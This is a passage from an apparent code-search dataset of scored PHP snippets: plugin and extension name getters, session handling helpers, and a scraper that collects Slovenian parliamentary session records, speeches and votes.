"public function getExtensionName()\n\t{\n\t\treturn $this->template->getConfigVars('mailchimp_plugin');\n\t}", "title": "" }, { "docid": "0b506eb71714a9d41fd07ddfaec017b1", "score": "0.648108", "text": "public function get_name() {\n if(get_config(constants::M_COMPONENT,'customname')){\n return get_config(constants::M_COMPONENT,'customname');\n }else {\n return get_string('cloudpoodll', constants::M_COMPONENT);\n }\n }", "title": "" }, { "docid": "e488446a405eda41e4bdb126a0fff235", "score": "0.645362", "text": "function getPluginName() {\n\n return 'imip';\n\n }", "title": "" }, { "docid": "c225a41bf69f9e2fef8683628bebd1e3", "score": "0.64513916", "text": "public static function get_name(): string {\n return get_string('globalsettings', 'local_time_tracking');\n }", "title": "" }, { "docid": "cdc0ffcc3d4f5d04ddcee323cdf8cda0", "score": "0.6450923", "text": "public function uniqueName(): string\n {\n if ($this->uniqueName !== null) {\n // @codeCoverageIgnoreStart\n return $this->uniqueName;\n // @codeCoverageIgnoreEnd\n }\n\n $type = ($this->callback instanceof Closure) ? 'inline' : 'func';\n $file = $this->reflection()->getFileName();\n $line = $this->reflection()->getStartLine();\n $rand = Str::random(8);\n\n $name = sprintf(\n '%s@%s:%d[%s]',\n $type,\n $file,\n $line,\n $rand,\n );\n\n return $this->uniqueName = $name;\n }", "title": "" }, { "docid": "d048563657ba48bf0e138a51db819512", "score": "0.6450158", "text": "function name() {\n\t\treturn '';\n\t}", "title": "" }, { "docid": "e158efbf839c124d5ed0af238faba99f", "score": "0.6437319", "text": "protected function getExtensionName()\n {\n return strtolower(ltrim(preg_replace('/[A-Z]/', \"_$0\", get_class($this)), '_'));\n }", "title": "" }, { "docid": "43879c2de3fe725375cd284bd041f372", "score": "0.6418559", "text": "private function newName() {\n echo (microtime(true)) . PHP_EOL;\n printf(\"uniqid('', true): %s\\r\\n\", uniqid('', true)) . PHP_EOL;\n return substr(str_shuffle(implode(range('A', 'Z'))), 0, 2) . substr(((double)microtime() * 1000000), -3);\n }", "title": "" }, { "docid": "20bdef3ca419f6409ef3914771e1fd69", "score": "0.6417343", "text": "public function getUniqueIdentifier() {\n\t\t$formDefinition = $this->getRootForm();\n\t\t$uniqueIdentifier = sprintf('%s-%s', $formDefinition->getIdentifier(), $this->identifier);\n\t\t$uniqueIdentifier = preg_replace('/[^a-zA-Z0-9-_]/', '_', $uniqueIdentifier);\n\t\treturn lcfirst($uniqueIdentifier);\n\t}", "title": "" }, { "docid": "6a085a49cfbcab288933e11c61d95fa6", "score": "0.64132756", "text": "public function get_plugin_slug() {\n return static::$plugin_slug;\n }", "title": "" }, { "docid": "b5330d0925b5dab1db0e29c291f90713", "score": "0.6412438", "text": "public function shortName()\n {\n $id = $this->getModuleId();\n $p = strrpos($id, '.');\n\n return $p ? substr($id, $p + 1) : $id;\n }", "title": "" }, { "docid": "28d6c823be8d283081294ca5640aefd4", "score": "0.6409708", "text": "protected static function _name() {\n\t\treturn basename(str_replace('\\\\', '/', get_called_class()));\n\t}", "title": "" }, { "docid": "db611229064e9c6ac60f860fa0e18c6a", "score": "0.6408786", "text": "function GetPluginBasename() {\r\n\t\treturn trailingslashit(plugin_basename($this->g_info['PluginFile'])); \r\n\t}", "title": "" }, { "docid": "a12f585ea6c5ce923c928ee46360e9d7", "score": "0.63601446", "text": "function tab_name()\n {\n return 'MIS Plugin';\n }", "title": "" }, { "docid": "1924a620c3731867e5ce9b64bab1ef3a", "score": "0.63327515", "text": "public function get_plugin_name(string $plugin_id) : string\n {\n }", "title": "" }, { "docid": "c8edaddf16d59a5ab54faf2c6488f5b2", "score": "0.6329907", "text": "protected function _getName(string $name): string\n {\n if (empty($name)) {\n return $name;\n }\n\n if (strpos($name, '.')) {\n [$plugin, $name] = pluginSplit($name);\n $this->plugin = $this->params['plugin'] = $plugin;\n }\n\n return $name;\n }", "title": "" }, { "docid": "22444fe6d3760c74cb3626f9de7b90ff", "score": "0.6316259", "text": "function getPluginName() {\n\n return 'ics-export';\n\n }", "title": "" }, { "docid": "734dca6024b074165907631fa1aa4711", "score": "0.63124156", "text": "public function getModuleName(): string\n {\n // And our name to the configuration file\n // This will be validated, and all characters not between a-z will be removed\n return self::NAME;\n }", "title": "" }, { "docid": "91c695578e5ffc3876436133852e1f78", "score": "0.6305573", "text": "public function get_internal_name(): string {\n\t\treturn $this->uid.'.'.explode('/', $this->mime)[1];\n\t}", "title": "" }, { "docid": "ce05ecca001c64bce2a0763cdccbe929", "score": "0.62982595", "text": "function getNiceName() ;", "title": "" }, { "docid": "1531fbfe0e07cb30b94eea863f447489", "score": "0.62906784", "text": "public function getName()\n {\n return \"hexmedia.ga.helper\";\n }", "title": "" }, { "docid": "c01471813a526b6b01779cbf6c20b620", "score": "0.62724143", "text": "function PluginF($filename) {\n\treturn $_SESSION['userId'] . '_' . $filename;\n}", "title": "" }, { "docid": "9e9144779b5ecd89781c13dbf52c227c", "score": "0.6268056", "text": "protected function accountName() {\n $account = user_load($this->context['uid']);\n return urlencode($this->namePrefix . '-' . $account->name);\n }", "title": "" }, { "docid": "5093adb29bcf3e0c30bf2534e54befa6", "score": "0.625613", "text": "function getPluginSlotName($a_id)\n\t{\n\t\t$slots = $this->getPluginSlots();\n\t\t\n\t\treturn $slots[$a_id][\"name\"];\n\t}", "title": "" }, { "docid": "d2f4343daa9701180be8f63f57c64489", "score": "0.62415344", "text": "public function FriendlyName()\n {\n\treturn '';\n }", "title": "" }, { "docid": "e621f3588e27eb638319b6940a566b24", "score": "0.6234878", "text": "function getPluginName()\n {\n return 'ImsmExport';\n }", "title": "" }, { "docid": "6f194d96734f7ff616e3277807d7d06c", "score": "0.6228816", "text": "public static function get_plugin_name($basename) {\n if ( false === strpos($basename, '/' ) )\n $name = basename($basename, '.php' );\n else\n $name = dirname($basename);\n return $name;\n }", "title": "" }, { "docid": "5fae4d917f42166ba49dd5b9164fcd34", "score": "0.6202469", "text": "protected function getGameName( )\n {\n return \"pulsarzet\";\n }", "title": "" }, { "docid": "cd844ede53b1fe5be704bc8115940188", "score": "0.6198062", "text": "public function get_plugin_slug() {\n\t\treturn $this->plugin_slug;\n\t}", "title": "" }, { "docid": "cd844ede53b1fe5be704bc8115940188", "score": "0.6198062", "text": "public function get_plugin_slug() {\n\t\treturn $this->plugin_slug;\n\t}", "title": "" }, { "docid": "cd844ede53b1fe5be704bc8115940188", "score": "0.6198062", "text": "public function get_plugin_slug() {\n\t\treturn $this->plugin_slug;\n\t}", "title": "" }, { "docid": "cd844ede53b1fe5be704bc8115940188", "score": "0.6198062", "text": "public function get_plugin_slug() {\n\t\treturn $this->plugin_slug;\n\t}", "title": "" }, { "docid": "28bf851a4d7f910c63486d54e384083e", "score": "0.61882997", "text": "private function detectExtensionName()\n\t{\n\t\tif ($this instanceof Plugin)\n\t\t{\n\t\t\treturn 'plg_' . $this->_type . '_' . $this->_name;\n\t\t}\n\t\telse if ($this instanceof ControllerInterface)\n\t\t{\n\t\t\treturn \\Request::getCmd('option', $this->_option);\n\t\t}\n\t\telse if ($this instanceof Module)\n\t\t{\n\t\t\treturn $this->module->module;\n\t\t}\n\n\t\treturn '';\n\t}", "title": "" }, { "docid": "d74571b566bf0376d17971d55d2f620d", "score": "0.61853147", "text": "public function getPluginName() {\n\n return 'auth';\n\n }", "title": "" }, { "docid": "15c9c24731add406cf07b0bd8eb35d71", "score": "0.61822975", "text": "public function getPluginName()\n {\n return 'logger';\n }", "title": "" }, { "docid": "08448d0a1eddc46d7ba500703ed939f7", "score": "0.6181737", "text": "protected function name(): string\n {\n return static::NAME;\n }", "title": "" }, { "docid": "5e49a1e8680587545912259fb89b5558", "score": "0.618172", "text": "function getName() {\n\t\treturn 'RegistrantReportPlugin';\n\t}", "title": "" }, { "docid": "188e4e8fc1bef630f1800aec07d0902c", "score": "0.61700857", "text": "public function getNodename();", "title": "" }, { "docid": "89f4976b1cec6bcfe420df9ea779c0d7", "score": "0.6169805", "text": "function getName() {\n\t\treturn 'CustomThemePlugin';\n\t}", "title": "" }, { "docid": "cb61f3580db01e6ef4631ca819584196", "score": "0.6167", "text": "public static function plugin_name_from_plugin_file(string $plugin_file_path) : string\n {\n }", "title": "" }, { "docid": "ec992b574076163ef0df14573dab87bc", "score": "0.61655074", "text": "public static function getSlug(): string\n {\n return 'alphanumeric';\n }", "title": "" }, { "docid": "cbd93f9b31f9f45cca7ef4ff56ab7f6d", "score": "0.61535615", "text": "function getPluginName() {\n\n return 'browser';\n\n }", "title": "" }, { "docid": "02ea72f09d6cb6d88e138df3e473dbfb", "score": "0.6149729", "text": "function getDisplayName() {\n\t\treturn __('plugins.generic.addJournalTitle.displayName');\n\t}", "title": "" }, { "docid": "50d8acdffc7564c31c2283707a511359", "score": "0.6147578", "text": "public function plugin_dir_name(){\n if(!empty($this->plugin_dir)){\n return $this->plugin_dir;\n }\n if(empty(self::$path)){\n self::$path=$this->get_base_path(); \n }\n $this->plugin_dir=basename(self::$path);\n return $this->plugin_dir;\n }", "title": "" }, { "docid": "c67dfbc839ae93b4cf65cfed9818faf9", "score": "0.6146933", "text": "protected function loadName() {\n\t\t$name = strtr($this->_v['name'], '_', ' ');\n\t\treturn $name;\n\t}", "title": "" }, { "docid": "d7ac144099dcca6d4e1552af9b6dd236", "score": "0.6137857", "text": "public function get_name() {\n return get_string('taskplagiarismcron', 'admin');\n }", "title": "" }, { "docid": "a25c64ba783b6d1f11303efddee36b6a", "score": "0.61341935", "text": "public function getRealName() {}", "title": "" }, { "docid": "fd2a5b09b34462bbf983a26a60584feb", "score": "0.613206", "text": "public function getName() {\n return api_helpers_class::getBaseName($this);;\n }", "title": "" }, { "docid": "8a1a1c6d73a739aaae42350d11809324", "score": "0.61096615", "text": "function getPluginName() {\n\t\treturn \"Review\";\n\t}", "title": "" }, { "docid": "8e502e9bfde1bc80192bb5565e2d9a20", "score": "0.6105385", "text": "public function get_name() {\n return get_string('tasktrackdebug', 'local_advancedperfs');\n }", "title": "" }, { "docid": "0c739bc773b4a130f5d70fab5a5b1311", "score": "0.6103939", "text": "protected function generateName() {\n\t\tdo {\n\t\t\t// Generate a new random name after this class\n\t\t\t$class = get_class($this);\n\t\t\t$entropy = substr(sha1(uniqid()), 0, 5);\n\t\t\t$name = \"{$class}_{$entropy}\";\n\n\t\t\t// Check if it conflicts\n\t\t\t$exists = EditableFormField::get()->filter('Name', $name)->count() > 0;\n\t\t} while($exists);\n\t\treturn $name;\n\t}", "title": "" } ]
14e2138bac8b0893fae85032832c919b
Obliterate a session out of existence
[ { "docid": "bceb591261019de322d958943d01d65d", "score": "0.52811074", "text": "function session_obliterate() {\n\tforeach ($_SESSION as $var) {\n\t\tunset($var);\n\t}\n\t$params = session_get_cookie_params();\n\tsetcookie(session_name(), '', time() - 42000,\n\t\t$params[\"path\"], $params[\"domain\"],\n\t\t$params[\"secure\"], $params[\"httponly\"]\n\t);\n\tsession_destroy();\n}", "title": "" } ]
[ { "docid": "4932b73dbfa3971392b9051d6ba74c3b", "score": "0.68723947", "text": "protected abstract function get_sessions();", "title": "" }, { "docid": "35d78e39ea63d53b37d51ce718fe0779", "score": "0.65076005", "text": "protected function get_sessions()\n {\n }", "title": "" }, { "docid": "5f949452b239b16cc58ff4469de19c52", "score": "0.6268", "text": "public function getAllFromSession()\n {\n $this->sessionStart();\n return $_SESSION;\n }", "title": "" }, { "docid": "6240bd2f6a52fa0eeb40e93b5c7e79c0", "score": "0.62359685", "text": "private function pull() {\n $result = $this->palava->call('de.cosmocode.palava.ipc.session.Entries', array(\n 'namespace' => $this->namespace\n ));\n\n if (!isset($_SESSION) || empty($_SESSION)) {\n $_SESSION = array();\n }\n $_SESSION = array_merge(\n $_SESSION,\n $result['entries']\n );\n }", "title": "" }, { "docid": "4183a7d4fea835e297788f92a81ed842", "score": "0.62218755", "text": "public function getActiveSessions();", "title": "" }, { "docid": "4af847d2d51687398afb5c2e3d5aaa97", "score": "0.611855", "text": "public function testIteratorForPreviouslyInitiatedSession()\n {\n FakeSession::setPreviousSession(['Foo' => 'Bar']);\n\n $sessionItemCollection = new SessionItemCollection();\n\n $sessionItemArray = iterator_to_array($sessionItemCollection);\n\n self::assertSame(['Foo' => 'Bar'], $sessionItemArray);\n self::assertSame(PHP_SESSION_ACTIVE, FakeSession::getStatus());\n self::assertSame(['Foo' => 'Bar'], $_SESSION);\n }", "title": "" }, { "docid": "bdc45291db3ad0c0781a193dc3e77e46", "score": "0.6039291", "text": "public static function getSessions()\n\t{\n\t\t$sql = sprintf(\"SELECT * FROM %s ORDER BY session_id\", mobilAP_session::SESSION_TABLE);\n\t\t$result = mobilAP::query($sql);\n\t\t$sessions = array();\n\t\tif (mobilAP_Error::isError($result)) {\n\t\t\treturn $sessions;\n\t\t}\n\t\twhile ($row = $result->fetchRow()) {\n\t\t\t$session = mobilAP_session::loadSessionFromArray($row);\n\t\t\t/*\n\t\t\t$session->session_links = $session->getLinks();\n\t\t\t$session->session_questions = $session->getQuestions();\t\t\t\t\n\t\t\t$session->session_presenters = $session->getPresenters();\n\t\t\t$session->session_discussion = $session->get_discussion();\n\t\t\t$session->session_evaluations = $session->getEvaluations();\n\t\t\t*/\n\t\t\t$sessions[] = $session;\n\t\t}\n\t\t\n\t\treturn $sessions;\n\t}", "title": "" }, { "docid": "a94962e8e9c82a466917cc0ca4f8be8e", "score": "0.60163224", "text": "public function getSession() {}", "title": "" }, { "docid": "51e8b9d544a3d207c8d8b2eee30b8528", "score": "0.6006333", "text": "public function getSession();", "title": "" }, { "docid": "51e8b9d544a3d207c8d8b2eee30b8528", "score": "0.6006333", "text": "public function getSession();", "title": "" }, { "docid": "26926b66affa0fc39930a5a28109bde5", "score": "0.59880614", "text": "public function hasSession() {}", "title": "" }, { "docid": "b7ba007dae2589e5b6448395934d00f4", "score": "0.59530205", "text": "function loadMyInvites(Session $session): array;", "title": "" }, { "docid": "ff43507f9ae91d07ce86d5caa2cbbdb7", "score": "0.59498024", "text": "public function hasSession();", "title": "" }, { "docid": "dc941113c2e11ff540143897b3fc20d7", "score": "0.59473985", "text": "public static function use_sessions()\n {\n \\Session::started() or \\Session::load();\n }", "title": "" }, { "docid": "3d743399ad4b02782226bd6252a76525", "score": "0.59346086", "text": "function wp_get_all_sessions()\n {\n }", "title": "" }, { "docid": "39a221b821ee67a9e74fadb6e31bb5dc", "score": "0.5895348", "text": "public function allAnonymousSessions();", "title": "" }, { "docid": "194ddccd4af8f0add75db730ad5ad3c9", "score": "0.58400756", "text": "public function get_all() {\r\n \treturn $_SESSION;\r\n }", "title": "" }, { "docid": "9a97a9d2adb41cc0038432c443137565", "score": "0.5818873", "text": "function get_similar_sessions( $sessionID, $err_message = \"\" )\n{\n\t$db = adodb_connect( &$err_message );\n\t\n\t$sql = \"SELECT * FROM \".$GLOBALS[\"DB_PREFIX\"].\"Session \";\n\t$sql .= \"WHERE SessionID=$sessionID\";\n\t$result = $db -> Execute($sql);\n\t\n\tif (!($session = $result -> FetchNextObj()))\n\t{\n\t\t$err_message .= \"Can't find SessionID=$sessionID<br />\\n\";\n\t\treturn NULL;\n\t}\n\t\n\t$sql = \"SELECT * FROM \".$GLOBALS[\"DB_PREFIX\"].\"Session \";\n\t$sql .= \"WHERE TrackID=\".$session -> TrackID;\n\t$sql .= \" AND PresentationTypeID=\".$session -> PresentationTypeID;\n\t$result = $db -> Execute($sql);\n\t\n\t$sessions = array();\n\twhile ($session = $result -> FetchNextObj())\n\t{\n\t\t$sessions[] = $session;\n\t}\n\t\n\treturn $sessions;\n}", "title": "" }, { "docid": "edb0022660ff1ca641cae5b4de7d7ae6", "score": "0.5811723", "text": "public function session();", "title": "" }, { "docid": "e64b84a417aeff9afd22795ab7e61706", "score": "0.58052105", "text": "function loadSession() {}", "title": "" }, { "docid": "5dbd739f11e808e2ec523f05bcdb7618", "score": "0.5804007", "text": "function get_sessions() {\n\t\t$resp = array();\n\t\treturn array('code' => 404, 'resp' => $resp);\n\t}", "title": "" }, { "docid": "55bed130c5b495c3b9cb92fed13f7307", "score": "0.5790798", "text": "public function all()\n {\n return $this->session;\n }", "title": "" }, { "docid": "c2d034d31ebc2e9f45e5e204ca6ae7e9", "score": "0.5777684", "text": "public function testIteratorForNonEmptyCollection()\n {\n $sessionItemCollection = new SessionItemCollection();\n $sessionItemCollection->set('Foo', false);\n $sessionItemCollection->set('Bar', 'Baz');\n $sessionItemCollection->set('1', '2');\n\n $sessionItemArray = iterator_to_array($sessionItemCollection, true);\n\n self::assertSame(['Foo' => false, 'Bar' => 'Baz', 1 => '2'], $sessionItemArray);\n self::assertSame(PHP_SESSION_ACTIVE, FakeSession::getStatus());\n self::assertSame(['Foo' => false, 'Bar' => 'Baz', 1 => '2'], $_SESSION);\n }", "title": "" }, { "docid": "8590c45ae06f3a4d416da8b1519c9903", "score": "0.5768813", "text": "protected function loadTupasSession(UserInterface $owner) {\n $db = $this->container->get('database');\n $session = $db->select('tupas_session', 's')\n ->fields('s')\n ->condition('owner', $owner->id())\n ->range(0, 1)\n ->execute()\n ->fetchObject();\n\n return !empty($session) ? $session : FALSE;\n }", "title": "" }, { "docid": "af47db59abd1dcef62f3a987b4d53e2a", "score": "0.57524294", "text": "function parseSessionsList($content, $organization_id)\n{\n\n $data = str_get_html($content);\n\n //\tCheck for single sessions\n $islist = $data->find('table.dataTableExHov', 0);\n if (!empty ($islist)) {\n $content = $data->find('table.dataTableExHov', 0)->find('tbody a.outputLink');\n } else {\n return false;\n }\n\n global $http_response_header;\n foreach ($content as $link) {\n\n $session_name = $link->text();\n var_dumpp($session_name);\n $session_link = $link->href;\n $session_nouid = preg_replace('/\\&uid.*$/is', '', $session_link);\n\n // Date\n if ($organization_id != 95) {\n $date = trim($link->parent()->next_sibling()->next_sibling()->next_sibling()->text());\n } else {\n $date = trim($link->parent()->next_sibling()->next_sibling()->text());\n }\n $date = str_replace('(', '', $date);\n $date = str_replace(')', '', $date);\n $date = DateTime::createFromFormat('d.m.Y', $date);\n $session_date = $date->format('Y-m-d');\n\n $tmp = array(\n 'name' => trim($session_name),\n 'link' => trim($session_link),\n 'link_noid' => trim($session_nouid),\n 'date' => trim($session_date),\n 'review' => false,\n 'review_ext' => false\n );\n\n if ($date <= new DateTime('NOW')) {\n\n if(sessionDeleted($session_nouid)){\n continue;\n }\n // Check if session already imported\n if ($exists = sessionExists($session_nouid)) {\n if ($exists['in_review'] == 'f' || ($exists['in_review'] == 't' && !UPDATE_SESSIONS_IN_REVIEW)) continue;\n $tmp['id'] = $exists['id']; // Set that session exists\n $tmp['review_ext'] = true;\n }\n var_dumpp($tmp);\n var_dumpp($exists);\n\n // Log\n logger('FETCH SESSION: ' . DZ_URL . $session_link);\n\n // Get session\n $session_link = str_replace('&amp;', '&', $session_link); // Some weird shit changed recently on DZRS server\n $session = str_get_html(downloadPage(DZ_URL . $session_link));\n\n //\tRetrieve cookies\n $cookiess = '';\n if (isset($http_response_header)) {\n foreach ($http_response_header as $s) {\n if (preg_match('/^Set-Cookie:\\s*([^=]+)=([^;]+);(.+)$/', $s, $parts))\n $cookiess .= $parts[1] . '=' . $parts[2] . '; ';\n }\n }\n $cookiess = substr($cookiess, 0, -2);\n\n // Parse data\n $tmp['speeches'] = array();\n $k = 0;\n if (PARSE_SPEECHES) {\n if ($session->find('td.vaTop', 3)) {\n $sptable = $session->find('td.vaTop', 3)->find('a.outputLink');\n\n if (!empty ($sptable)) {\n $parseSpeeches = array();\n foreach ($sptable as $speeches) {\n $in_review = (bool)(stripos($speeches->innerText(), \"pregled\") !== false);\n if ($in_review && SKIP_WHEN_REVIEWS) continue 2;\n\n if ($in_review) $tmp['review'] = true;\n\n $datum = '';\n if (preg_match('/(\\d{2}\\.\\d{2}\\.\\d{4})/is', $speeches->innerText(), $matches)) {\n $datum = DateTime::createFromFormat('d.m.Y', $matches[1])->format('Y-m-d');\n }\n\n //check here\n $parseSpeeches[$k]['dateStart'] = $datum;\n $parseSpeeches[$k]['url'] = DZ_URL . $speeches->href;\n $parseSpeeches[$k]['in_review'] = $tmp['review'];\n $parseSpeeches[$k]['sessionId'] = $tmp['id'];\n\n $k++;\n }\n if (count($parseSpeeches) > 0) {\n foreach ($parseSpeeches as $parseSpeeche) {\n var_dumpp($parseSpeeche);\n if (!$parseSpeeche['sessionId']) {\n\n $speech = parseSpeeches($parseSpeeche['url'], $parseSpeeche['dateStart']);\n $tmp['speeches'][$speech['datum']] = $speech;\n $tmp['speeches'][$speech['datum']]['review'] = $parseSpeeche['in_review'];\n $tmp['speeches'][$speech['datum']]['insertToDb'] = 'parladata_speechinreview';\n sleep(FETCH_TIMEOUT);\n\n } else {\n\n $speech = parseSpeeches($parseSpeeche['url'], $parseSpeeche['dateStart']);\n $tmp['speeches'][$speech['datum']] = $speech;\n $tmp['speeches'][$speech['datum']]['review'] = $parseSpeeche['in_review'];\n sleep(FETCH_TIMEOUT);\n\n if(isSpeechInReviewStatusChanged($parseSpeeche['sessionId'], $parseSpeeche['in_review'])){\n $tmp['speeches'][$speech['datum']]['insertToDb'] = 'parladata_speech';\n }else{\n $tmp['speeches'][$speech['datum']]['insertToDb'] = 'parladata_speechinreview';\n }\n\n }\n }\n //var_dumpp($tmp['speeches'][$speech['datum']]);\n }\n\n }\n }\n }\n\n $tmp['documents'] = array();\n if (PARSE_DOCS) {\n if ($session->find('td.vaTop', 3)) {\n $doctable = $session->find('td.vaTop', 2)->find('a');\n\n if (!empty ($doctable)) {\n foreach ($doctable as $doc) {\n if (stripos($doc->innerText(), \"pregled\") === false) {\n $tmp['documents'][] = parseDocument(DZ_URL . $doc->href);\n sleep(FETCH_TIMEOUT);\n\n if(empty($tmp['id'])){\n var_dump($tmp['link_noid']);\n //continue 2;\n }\n var_dump(\"documetn parse\" . $tmp['id']);\n\n\n } else {\n if (SKIP_WHEN_REVIEWS) continue 2;\n }\n }\n }\n }\n }\n\n // Parse voting data\n $tmp['voting'] = array();\n if (PARSE_VOTES) {\n var_dump(\"VOTES\");\n // Search on DT page or not TODO: better solution needed\n preg_match('/form id=\"(.*?):form1\"/', $session, $fmatches);\n $form_id = $fmatches[1];\n\n //\tRetreive pager form action\n preg_match('/form id=\"' . $form_id . ':form1\".*?action=\"(.*?)\"/', $session, $matches);\n\n //\tRetreive some ViewState I have no fucking clue what it is for, but it must be present in POST\n preg_match('/id=\"javax\\.faces\\.ViewState\" value=\"(.*?)\"/', $session, $matchess);\n\n //\tRetreive number of pages\n preg_match('/Page 1 of (\\d+)/i', $session, $matchesp);\n\n if (!empty($matchesp[1]) && (int)$matchesp[1] > 0) {\n\n\n for ($i = 1; $i <= (int)$matchesp[1]; $i++) {\n\n var_dumpp($i);\n\n //\tGet next page\n $postdata = http_build_query(\n array(\n $form_id . ':form1' => $form_id . ':form1',\n // $form_id . ':form1:menu1' => CURRENT_SESSION,\n $form_id . ':form1:tableEx1:goto1__pagerGoButton.x' => 11,\n $form_id . ':form1:tableEx1:goto1__pagerGoButton.y' => 11,\n $form_id . ':form1:tableEx1:goto1__pagerGoText' => $i,\n $form_id . ':form1_SUBMIT' => 1,\n 'javax.faces.ViewState' => $matchess[1],\n // 'javax.faces.ViewState' => '/wps/PA_DZ-LN-Seje/portlet/SejeIzbranaSejaView.jsp',\n )\n );\n $opts = array('http' =>\n array(\n 'method' => 'POST',\n 'header' => 'Cookie: ' . $cookiess . \"\\r\\n\" . 'Content-type: application/x-www-form-urlencoded',\n 'content' => $postdata\n )\n );\n $context = stream_context_create($opts);\n\n if ($subpage = file_get_contents(DZ_URL . $matches[1], false, $context)) {\n\n $votearea = str_get_html($subpage)->find('table.dataTableExHov', 0);\n if (!empty ($votearea)) {\n\n foreach ($votearea->find('tbody td a.outputLink') as $votes) {\n if (preg_match('/\\d{2}\\.\\d{2}\\.\\d{4}/is', $votes->text())) {\n $tmp['voting'][] = parseVotes(DZ_URL . $votes->href);\n sleep(FETCH_TIMEOUT);\n }\n }\n }\n }\n }\n\n //saveVotes($tmp, $organization_id);\n\n }\n\n }\n\n //\tTest: Izpis podatkov celotne seje\n //print_r ($tmp);\n //exit();\n\n\n //\tAdd to DB\n saveSession($tmp, $organization_id);\n var_dumpp(\"SAVE:\");\n var_dumpp($organization_id);\n }\n }\n}", "title": "" }, { "docid": "d1c3da7c3e6af2090eec95549b2aa7e2", "score": "0.5729446", "text": "function get_sessions( $sortBy = \"StartTime\", $descending = false, $err_message = \"\" )\n{\n\t$db = adodb_connect( &$err_message );\n\t\n\t$sql = \"SELECT * FROM \".$GLOBALS[\"DB_PREFIX\"].\"Session \";\n\t// Check if the sort arguement is valid\n\tif (!in_array( $sortBy, array_keys(get_object_vars(new Session))))\n\t\t$sortBy = \"SessionID\";\n\t$sql .= \"ORDER BY $sortBy \".($descending?\"DESC\":\"ASC\");\t\n\t$result = $db -> Execute($sql);\n\t\n\t$sessions = array();\n\twhile ($session = $result -> FetchNextObj())\n\t{\n\t\t$sessions[] = $session;\n\t}\n\t\n\treturn $sessions;\n}", "title": "" }, { "docid": "2ea2fd22cf406bcdc5fe1be1bb51e94d", "score": "0.57133454", "text": "public function all()\n {\n return $_SESSION;\n }", "title": "" }, { "docid": "62a018c40b2b8f47103aa0ecc5c3c48c", "score": "0.56939757", "text": "public function getSessionsByTag($tag);", "title": "" }, { "docid": "05f29d9c7018ab2ea517d59fcbf474f4", "score": "0.56873333", "text": "public function getSession($name);", "title": "" }, { "docid": "e1b306d82b63e5fe16c11845f6b92d86", "score": "0.56797516", "text": "protected abstract function getSessionIdent();", "title": "" }, { "docid": "b37cff60ab9e3a955c6bd2cfbda4a286", "score": "0.56691647", "text": "public function sessions()\n\t{\n\t\treturn Database::query('SELECT * FROM session');\n\t}", "title": "" }, { "docid": "797e0815decd161113edd5a7c40596bb", "score": "0.5649897", "text": "public function get_sessions() {\n\t\treturn $this->sessions;\n\t}", "title": "" }, { "docid": "6adc174afd9aaf97c7c9e14b6ef9e9e0", "score": "0.5648234", "text": "function loadMyProfile(Session $session): array;", "title": "" }, { "docid": "3014e3377a859043ae144a07ac31252e", "score": "0.5636053", "text": "public function getAll()\n {\n return $_SESSION;\n }", "title": "" }, { "docid": "a29c90b33d0c07d7cd3431e50561a87b", "score": "0.56303453", "text": "private function getSession() {\n return $this->Session->read($this->getSessionKey());\n }", "title": "" }, { "docid": "8eeddba55c4797fb6b57ad4b4d29fb2a", "score": "0.5626402", "text": "public function fetchSessionData() {}", "title": "" }, { "docid": "fa1a7e1f96974a4f45220f939c333cea", "score": "0.5601436", "text": "public function getIterator()\n {\n return new \\ArrayIterator($_SESSION[ 'throttle' ]);\n }", "title": "" }, { "docid": "cd4331375169da1066b904124fbcbc6d", "score": "0.558834", "text": "public function session_list()\n\t{\n\t\t$query=$this->db->get('session');\n\t\treturn $query->result();\n\t}", "title": "" }, { "docid": "aa96684c11f3b33a96c730df4624d99b", "score": "0.5577592", "text": "function drupal_session(){\n\t$session = false;\n\tforeach ($_COOKIE as $key => $value) {\n\t\tif (stripos($key, 'SESS') !== false && strlen($key) > 34 ) {\n\t\t\t$session = [ 'name' => $key, 'id' => $value ];\n\t\t}\n\t}\n\treturn $session;\n}", "title": "" }, { "docid": "44e849b00a083483ed94c798abc95408", "score": "0.55765", "text": "public function actionGetListaSessions()\r\n\t\t{\r\n\t\t\treturn $varSession = [\r\n\t\t\t\t\t\t\t'postData',\r\n\t\t\t\t\t\t\t'conf',\r\n\t\t\t\t\t\t\t'begin',\r\n\t\t\t\t\t];\r\n\r\n\t\t}", "title": "" }, { "docid": "e7762b3f96254ce34d03ff75381c1dcb", "score": "0.5569867", "text": "function session_extraction()\n\t{\n\t\t\treturn false; // unused\n\t}", "title": "" }, { "docid": "116a5e48dd2fe68e12ea6fac7de0228c", "score": "0.55689883", "text": "function parseSessions($urls, $organization_id)\n{\n global $http_response_header;\n foreach ($urls as $url) {\n\n // Log\n logger('SESSIONS: ' . $url);\n\n //\tGet main page\n $base = downloadPage($url);\n\n //\tRetrieve cookies\n $cookiess = '';\n if (isset($http_response_header)) {\n foreach ($http_response_header as $s) {\n if (preg_match('|^Set-Cookie:\\s*([^=]+)=([^;]+);(.+)$|', $s, $parts))\n $cookiess .= $parts[1] . '=' . $parts[2] . '; ';\n }\n }\n $cookiess = substr($cookiess, 0, -2);\n\n\n //\tParse main page\n//\t\tparseSessionsList ($base, $organization_id);\n\n // Search on DT page or not TODO: better solution needed\n preg_match('/form id=\"(.*?):sf:form1\"/', $base, $fmatches);\n $form_id = $fmatches[1];\n\n //\tRetreive pager form action\n preg_match('/form id=\"' . $form_id . ':sf:form1\".*?action=\"(.*?)\"/', $base, $matches);\n\n //\tRetreive some ViewState I have no fucking clue what it is for, but it must be present in POST\n preg_match('/id=\"javax\\.faces\\.ViewState\" value=\"(.*?)\"/', $base, $matchess);\n\n //\tRetreive number of pages\n preg_match('/Page 1 of (\\d+)/i', $base, $matchesp);\n\n if (!empty($matchesp[1]) && (int)$matchesp[1] > 0) {\n\n for ($i = 1; $i <= (int)$matchesp[1]; $i++) {\n\n //\tGet next page\n $postdata = http_build_query(\n array(\n $form_id . ':sf:form1' => $form_id . ':sf:form1',\n $form_id . ':sf:form1:menu1' => CURRENT_SESSION,\n $form_id . ':sf:form1:tableEx1:goto1__pagerGoButton.x' => 1,\n $form_id . ':sf:form1:tableEx1:goto1__pagerGoText' => $i,\n $form_id . ':sf:form1_SUBMIT' => 1,\n 'javax.faces.ViewState' => $matchess[1]\n )\n );\n $opts = array('http' =>\n array(\n 'method' => 'POST',\n 'header' => 'Cookie: ' . $cookiess . \"\\r\\n\" . 'Content-type: application/x-www-form-urlencoded',\n 'content' => $postdata\n )\n );\n $context = stream_context_create($opts);\n\n if ($subpage = file_get_contents(DZ_URL . $matches[1], false, $context)) {\n\n //\tParse sub page\n 